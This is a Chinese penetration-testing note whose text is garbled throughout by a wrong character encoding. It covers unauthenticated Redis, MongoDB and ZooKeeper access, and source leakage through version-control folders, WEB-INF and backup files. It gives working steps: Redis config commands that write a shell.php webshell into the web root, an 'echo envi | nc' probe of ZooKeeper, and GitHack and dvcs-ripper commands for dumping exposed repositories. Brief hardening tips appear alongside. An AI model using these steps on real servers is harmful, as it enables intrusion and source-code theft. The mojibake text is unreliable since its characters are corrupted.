1.redis數(shù)據(jù)庫(kù)任意訪問(wèn)?
簡(jiǎn)介
redis默認(rèn)數(shù)據(jù)庫(kù)端口6379,
未設(shè)置密碼造成任意訪問(wèn),然后使用redis權(quán)限寫(xiě)文件。
Redis因配置不當(dāng)可以導(dǎo)致未授權(quán)訪問(wèn),被攻擊者惡意利用。當(dāng)前流行的針對(duì)Redis未授權(quán)訪問(wèn)的一種新型攻擊方式,在特定條件下,如果Redis以root身份運(yùn)行,黑客可以給root賬戶寫(xiě)入SSH公鑰文件,直接通過(guò)SSH登錄受害服務(wù)器,可導(dǎo)致服務(wù)器權(quán)限被獲取和數(shù)據(jù)刪除、泄露或加密勒索事件發(fā)生,嚴(yán)重危害業(yè)務(wù)正常服務(wù)。
部分服務(wù)器上的Redis 綁定在 0.0.0.0:6379,并且沒(méi)有開(kāi)啟認(rèn)證(這是Redis 的默認(rèn)配置),以及該端口可以通過(guò)公網(wǎng)直接訪問(wèn),如果沒(méi)有采用相關(guān)的策略,比如添加防火墻規(guī)則避免其他非信任來(lái)源 ip 訪問(wèn)等,將會(huì)導(dǎo)致 Redis 服務(wù)直接暴露在公網(wǎng)上,可能造成其他用戶可以直接在非授權(quán)情況下直接訪問(wèn)Redis服務(wù)并進(jìn)行相關(guān)操作。
目前比較主流的案例:yam2 minerd 挖礦程序,還有在多次應(yīng)急事件中發(fā)現(xiàn)大量的watch-smartd挖礦木馬。
命令使用
info??????????//查看redis版本信息、一些具體信息、服務(wù)器版本信息等等:
set x "test" //將變量x的值設(shè)為test
flushall //刪除數(shù)據(jù)庫(kù),謹(jǐn)慎使用
KEYS *??//查看所有鍵,redis存儲(chǔ)數(shù)據(jù)模式為 一鍵一數(shù)據(jù)對(duì)應(yīng)。
CONFIG GET dir //獲取默認(rèn)的redis目錄
CONFIG GET dbfilename//獲取默認(rèn)的rdb文件名
往web物理路徑寫(xiě)webshell
redis遠(yuǎn)程連接???redis-cli -h xx.xx.xx.xx
redis本地打開(kāi)???redis-cli
redis服務(wù)打開(kāi)???redis-server
當(dāng)redis權(quán)限不高時(shí),并且服務(wù)器開(kāi)著web服務(wù),在redis有web目錄寫(xiě)權(quán)限時(shí),可以嘗試往web路徑寫(xiě)webshell
執(zhí)行以下命令
192.168.63.xx:6379> config set dir /var/www/html/
????OK
192.168.63.xx:6379> config set dbfilename shell.php
????OK
192.168.63.xx:6379> set x ""
????OK
192.168.63.xx:6379> save
????OK
2.mongodb數(shù)據(jù)庫(kù)任意訪問(wèn)
簡(jiǎn)介
mongodb默認(rèn)數(shù)據(jù)庫(kù)端口為27017
開(kāi)啟MongoDB服務(wù)時(shí)不添加任何參數(shù)時(shí),默認(rèn)是沒(méi)有權(quán)限驗(yàn)證的,登錄的用戶可以通過(guò)默認(rèn)端口無(wú)需密碼對(duì)數(shù)據(jù)庫(kù)任意操作(增刪改高危動(dòng)作)而且可以遠(yuǎn)程訪問(wèn)數(shù)據(jù)庫(kù)
在剛安裝完畢的時(shí)候MongoDB都默認(rèn)有一個(gè)admin數(shù)據(jù)庫(kù),此時(shí)admin數(shù)據(jù)庫(kù)是空的,沒(méi)有記錄權(quán)限相關(guān)的信息!當(dāng)admin.system.users一個(gè)用戶都沒(méi)有時(shí),即使mongod啟動(dòng)時(shí)添加了—auth參數(shù),如果沒(méi)有在admin數(shù)據(jù)庫(kù)中添加用戶,此時(shí)不進(jìn)行任何認(rèn)證還是可以做任何操作(不管是否是以—auth 參數(shù)啟動(dòng)),直到在admin.system.users中添加了一個(gè)用戶。加固的核心是只有在admin.system.users中添加用戶之后,mongodb的認(rèn)證,授權(quán)服務(wù)才能生效
命令使用
遠(yuǎn)程連接 mongodb ip
????root@xiaozhupeiqi:~# mongo xxx.xx.xx.xx
????MongoDB shell version: 2.6.10
????connecting to: xx.xx.xx.xx/test
????Server has startup warnings:
????2018-10-19T14:47:46.342+0800 I CONTROL??[initandlisten] ** WARNING: You are running this process as the root user, which is not recommended.
????2018-10-19T14:47:46.343+0800 I CONTROL??[initandlisten]
????2018-10-19T14:47:46.343+0800 I CONTROL??[initandlisten]
????2018-10-19T14:47:46.343+0800 I CONTROL??[initandlisten] ** WARNING: /sys/kernel/mm/transparent_hugepage/enabled is?????'always'.
????2018-10-19T14:47:46.343+0800 I CONTROL??[initandlisten] **????????We suggest setting it to 'never'
????2018-10-19T14:47:46.343+0800 I CONTROL??[initandlisten]
????2018-10-19T14:47:46.343+0800 I CONTROL??[initandlisten] ** WARNING: /sys/kernel/mm/transparent_hugepage/defrag is 'always'.
????2018-10-19T14:47:46.343+0800 I CONTROL??[initandlisten] **????????We suggest setting it to 'never'
????2018-10-19T14:47:46.343+0800 I CONTROL??[initandlisten]
利用sql語(yǔ)句
show databases;
use admin;
show tables;
等命令
或者
show dbs;??????????????????#查看全部數(shù)據(jù)庫(kù)
show collections;??????????#顯示當(dāng)前數(shù)據(jù)庫(kù)中的集合(類似關(guān)系數(shù)據(jù)庫(kù)中的表)
show users;????????????????#查看當(dāng)前數(shù)據(jù)庫(kù)的用戶信息
use dbname;?????????????#切換數(shù)據(jù)庫(kù)跟mysql一樣
顯示db狀態(tài)
????db.stats()
????{
????????????"db" : "admin",
????????????"collections" : 3,
????????????"objects" : 5,
"avgObjSize" : 217.4,
"dataSize" : 1087,
"storageSize" : 69632,
????????????"numExtents" : 0,
"indexes" : 5,
"indexSize" : 122880,
"ok" : 1
????}
3.ZooKeeper未授權(quán)訪問(wèn)
簡(jiǎn)介
Zookeeper的默認(rèn)開(kāi)放端口是2181。Zookeeper安裝部署之后默認(rèn)情況下不需要任何身份驗(yàn)證,造成攻擊者可以遠(yuǎn)程利用Zookeeper,通過(guò)服務(wù)器收集敏感信息或者在Zookeeper集群內(nèi)進(jìn)行破壞(比如:kill命令)。攻擊者能夠執(zhí)行所有只允許由管理員運(yùn)行的命令。
漏洞利用
執(zhí)行以下命令即可遠(yuǎn)程獲取該服務(wù)器的環(huán)境:
echo envi | nc xx.xx.xx.xx 2181
????zookeeper.version=3.4.10-39d3a4f269333c922ed3db283be479f9deacaa0f, built on 03/23/2017 10:13 GMT
????host.name=AY1304161249343xxxxx
????java.version=1.8.0_171
????java.vendor=Oracle Corporation
????java.home=/usr/local/java/jdk1.8.0_171/jre
????java.class.path=/data/zookeeper-3.4.10/bin/../build/classes:/data/zookeeper-3.4.10/bin/../build/lib/*.jar:/data/zookeeper-3.4.10/bin/../lib/slf4j-log4j12-1.6.1.jar:/data/zookeeper-3.4.10/bin/../lib/slf4j-api-1.6.1.jar:/data/zookeeper-3.4.10/bin/../lib/netty-3.10.5.Final.jar:/data/zookeeper-3.4.10/bin/../lib/log4j-1.2.16.jar:/data/zookeeper-3.4.10/bin/../lib/jline-0.9.94.jar:/data/zookeeper-3.4.10/bin/../zookeeper-3.4.10.jar:/data/zookeeper-3.4.10/bin/../src/java/lib/*.jar:/data/zookeeper-3.4.10/bin/../conf:.:/usr/local/java/jdk1.8.0_171/lib:/usr/local/java/jdk1.8.0_171/jre/lib:.:$JAVA_HOME/lib:$JAVA_HOME/jre/lib
????java.library.path=/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
????java.io.tmpdir=/tmp
????java.compiler=<NA>
????os.name=Linux
????os.arch=amd64
????os.version=3.2.0-29-generic
????user.name=root
????user.home=/root
????user.dir=/data/zookeeper-3.4.10
防護(hù)
????1、禁止把Zookeeper直接暴露在公網(wǎng)
????2、添加訪問(wèn)控制,根據(jù)情況選擇對(duì)應(yīng)方式(認(rèn)證用戶,用戶名密碼)
????3、綁定指定IP訪問(wèn)
4.源碼泄露篇
.hg源碼泄漏?
hg init的時(shí)候會(huì)生成.hg
工具:https://github.com/kost/dvcs-ripper
命令:rip-hg.pl -v -u http://www.example.com/.hg/
.git源碼泄露
原理:在運(yùn)行g(shù)it init初始化代碼庫(kù)的時(shí)候,會(huì)在當(dāng)前目錄下面產(chǎn)生一個(gè).git的隱藏文件,用來(lái)記錄代碼的變更記錄等等。在發(fā)布代碼的時(shí)候,把.git這個(gè)目錄沒(méi)有刪除,直接發(fā)布了。使用這個(gè)文件,可以用來(lái)恢復(fù)源代碼。
工具:https://github.com/lijiejie/GitHack
命令:python GitHack.py http://www.example.com/.git/
?.DS_Store文件泄漏
原理:在發(fā)布代碼時(shí)未刪除文件夾中隱藏的.DS_store,被發(fā)現(xiàn)后,獲取了敏感的文件名等信息。
工具:https://github.com/lijiejie/ds_store_exp
命令:python ds_store_exp.py http://www.example.com/.DS_Store
.SVN導(dǎo)致文件泄露?
原理:SVN產(chǎn)生的.svn目錄下還包含了以.svn-base結(jié)尾的源代碼文件副本(低版本SVN具體路徑為text-base目錄,高版本SVN為pristine目錄),如果服務(wù)器沒(méi)有對(duì)此類后綴做解析,黑客則可以直接獲得文件源代碼。
在被利用的網(wǎng)址后面加 /.svn/entries,列出網(wǎng)站目錄,甚至下載整站。
工具: https://www.waitalone.cn/seay-svn-poc-donw-20140505.html
命令:.exe文件傻瓜式操作粘貼 www.xxx.xx/.svn/entries
.bzr源碼泄露
bzr也是個(gè)版本控制工具, 雖然不是很熱門, 但它也是多平臺(tái)支持, 并且有不錯(cuò)的圖形界面,所以也有一些人認(rèn)為bzr比git要好用。
原理:bzr在初始化項(xiàng)目時(shí)(bzr init/init-repo), 會(huì)在項(xiàng)目根目錄產(chǎn)生名為.bzr的隱藏目錄, 同樣暴露了源代碼和用戶信息.
工具:https://github.com/kost/dvcs-ripper
命令:rip-bzr.pl -v -u http://www.example.com/.bzr/
.cvs源碼泄露
原理:CVS是一個(gè)年代比較久遠(yuǎn)的版本控制系統(tǒng), 通過(guò)它可以追蹤源代碼的歷史變化記錄,但是因?yàn)楣δ鼙容^簡(jiǎn)單, 而且不支持分支, 所以很早前就被上面提到的svn替代了。cvs項(xiàng)目在初始化(cvs checkout project)的時(shí)候, 會(huì)在project目錄下創(chuàng)建一個(gè)名為CVS的目錄,
其中保存了各個(gè)文件的修改和commit記錄. 通過(guò)此目錄可以獲取代碼的歷史版本. 其中兩個(gè)關(guān)鍵文件為:
CVS/Root和CVS/Entries, 分別記錄了項(xiàng)目的根信息和所有文件的結(jié)構(gòu)。
工具: https://github.com/kost/dvcs-ripper
WEB-INF/web.xml泄露?
WEB-INF是Java的WEB應(yīng)用的安全目錄。如果想在頁(yè)面中直接訪問(wèn)其中的文件,必須通過(guò)web.xml文件對(duì)要訪問(wèn)的文件進(jìn)行相應(yīng)映射才能訪問(wèn)。
WEB-INF主要包含一下文件或目錄:
????/WEB-INF/web.xml
????:Web應(yīng)用程序配置文件,描述了 servlet 和其他的應(yīng)用組件配置及命名規(guī)則。
????/WEB-INF/classes/
????:含了站點(diǎn)所有用的 class 文件,包括 servlet class 和非servlet class,他們不能包含在 .jar文件中
????/WEB-INF/lib/
????:存放web應(yīng)用需要的各種JAR文件,放置僅在這個(gè)應(yīng)用中要求使用的jar文件,如數(shù)據(jù)庫(kù)驅(qū)動(dòng)jar文件
????/WEB-INF/src/
????:源碼目錄,按照包名結(jié)構(gòu)放置各個(gè)java文件。
????/WEB-INF/database.properties
????:數(shù)據(jù)庫(kù)配置文件
原理:通常一些web應(yīng)用我們會(huì)使用多個(gè)web服務(wù)器搭配使用,解決其中的一個(gè)web服務(wù)器的性能缺陷以及做均衡負(fù)載的優(yōu)點(diǎn)和完成一些分層結(jié)構(gòu)的安全策略等。在使用這種架構(gòu)的時(shí)候,由于對(duì)靜態(tài)資源的目錄或文件的映射配置不當(dāng),可能會(huì)引發(fā)一些的安全問(wèn)題,導(dǎo)致web.xml等文件能夠被讀取。
漏洞檢測(cè)以及利用方法:
通過(guò)找到web.xml文件,推斷class文件的路徑,最后直接class文件,在通過(guò)反編譯class文件,得到網(wǎng)站源碼。
一般情況,jsp引擎默認(rèn)都是禁止訪問(wèn)WEB-INF目錄的,Nginx 配合Tomcat做均衡負(fù)載或集群等情況時(shí),問(wèn)題原因其實(shí)很簡(jiǎn)單,Nginx不會(huì)去考慮配置其他類型引擎(Nginx不是jsp引擎)導(dǎo)致的安全問(wèn)題而引入到自身的安全規(guī)范中來(lái)(這樣耦合性太高了),修改Nginx配置文件禁止訪問(wèn)WEB-INF目錄就好了: location ~ ^/WEB-INF/* { deny all; } 或者return 404; 或者其他!
利用:通過(guò)web.xml文件推測(cè)應(yīng)用組件相關(guān)類的名字, 然后在src目錄下查找代碼, 如果沒(méi)有源代碼可以直接下載class文件反編譯即可
## 網(wǎng)站備份文件泄露 ##
原理:在網(wǎng)站的使用過(guò)程中,往往需要對(duì)網(wǎng)站中的文件進(jìn)行修改、升級(jí)。此時(shí)就需要對(duì)網(wǎng)站整站或者其中某一頁(yè)面進(jìn)行備份。當(dāng)備份文件或者修改過(guò)程中的緩存文件因?yàn)楦鞣N原因而被留在網(wǎng)站web目錄下,而該目錄又沒(méi)有設(shè)置訪問(wèn)權(quán)限時(shí),便有可能導(dǎo)致備份文件或者編輯器的緩存文件被下載,導(dǎo)致敏感信息泄露,給服務(wù)器的安全埋下隱患。
.rar .zip .7z .tar.gz .bak .swp .txt
---
參考:
https://www.secpulse.com/archives/61101.html
http://www.hacksec.cn/Penetration-test/474.html